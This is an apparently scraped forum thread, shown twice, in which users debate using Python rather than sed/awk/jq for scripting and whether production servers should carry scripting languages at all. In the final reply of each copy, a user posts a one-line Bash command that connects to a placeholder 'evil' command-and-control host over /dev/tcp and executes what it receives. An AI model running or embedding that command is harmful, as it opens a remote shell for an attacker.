4 ms·

You can do sed/awk/jq trivially in Python with no dependencies, other than Python itself. Which is a fewer number of dependencies than a script gluing together

by cle 6y ago

You can do sed/awk/jq trivially in Python with no dependencies, other than Python itself. Which is a fewer number of dependencies than a script gluing together sed+awk+jq, each of those being a dependency managed implicitly by your distribution's package manager.

busterarm 6y ago
except with sed, awk and jq, I don't have to worry about it being present on a production system and someone leveraging it to execute arbitrary, sophisticated code. You can't just assume that it's okay to have your preferred scripting language everywhere.
- cle 6y ago
  I don't understand what you're arguing here. You don't run sed, awk, and jq directly, you run them via Bash, your preferred scripting language that can execute arbitrary, sophisticated code. Personally I don't use Python much for these use cases. For anything beyond trivial scripts I write Go programs, compiled into statically-linked executables that I can scp onto a host and run, the only dependency required at that point being libc. Or ideally the remote host is running inside a container, which would allow me to reproduce the dependencies locally (but also has a bunch of other complexity). But saying "just use Bash" and then patting ourselves on the back is not really solving the problem, it's just kicking the can down the road, possibly not even very far.
  - busterarm 6y ago
    Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd and there's no privilege-free packaging system to rapidly get there. Python and other powerful scripting languages can. Having production servers that don't have Python/Ruby/Perl/etc unless they absolutely must is decades-old advice at this point. The smart ones take that one step further: no production server should have any binaries that aren't absolutely necessary. This is why we use containers.
    - Nullabillity 6y ago
      > Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd Not listen, but it can certainly connect out and ask for instructions... bash -c 'bash < /dev/tcp/myevilcncserver.com/1234'

by cle 6y ago

busterarm 6y ago

except with sed, awk and jq, I don't have to worry about it being present on a production system and someone leveraging it to execute arbitrary, sophisticated code. You can't just assume that it's okay to have your preferred scripting language everywhere.

cle 6y ago
I don't understand what you're arguing here. You don't run sed, awk, and jq directly, you run them via Bash, your preferred scripting language that can execute arbitrary, sophisticated code. Personally I don't use Python much for these use cases. For anything beyond trivial scripts I write Go programs, compiled into statically-linked executables that I can scp onto a host and run, the only dependency required at that point being libc. Or ideally the remote host is running inside a container, which would allow me to reproduce the dependencies locally (but also has a bunch of other complexity). But saying "just use Bash" and then patting ourselves on the back is not really solving the problem, it's just kicking the can down the road, possibly not even very far.
- busterarm 6y ago
  Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd and there's no privilege-free packaging system to rapidly get there. Python and other powerful scripting languages can. Having production servers that don't have Python/Ruby/Perl/etc unless they absolutely must is decades-old advice at this point. The smart ones take that one step further: no production server should have any binaries that aren't absolutely necessary. This is why we use containers.
  - Nullabillity 6y ago
    > Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd Not listen, but it can certainly connect out and ask for instructions... bash -c 'bash < /dev/tcp/myevilcncserver.com/1234'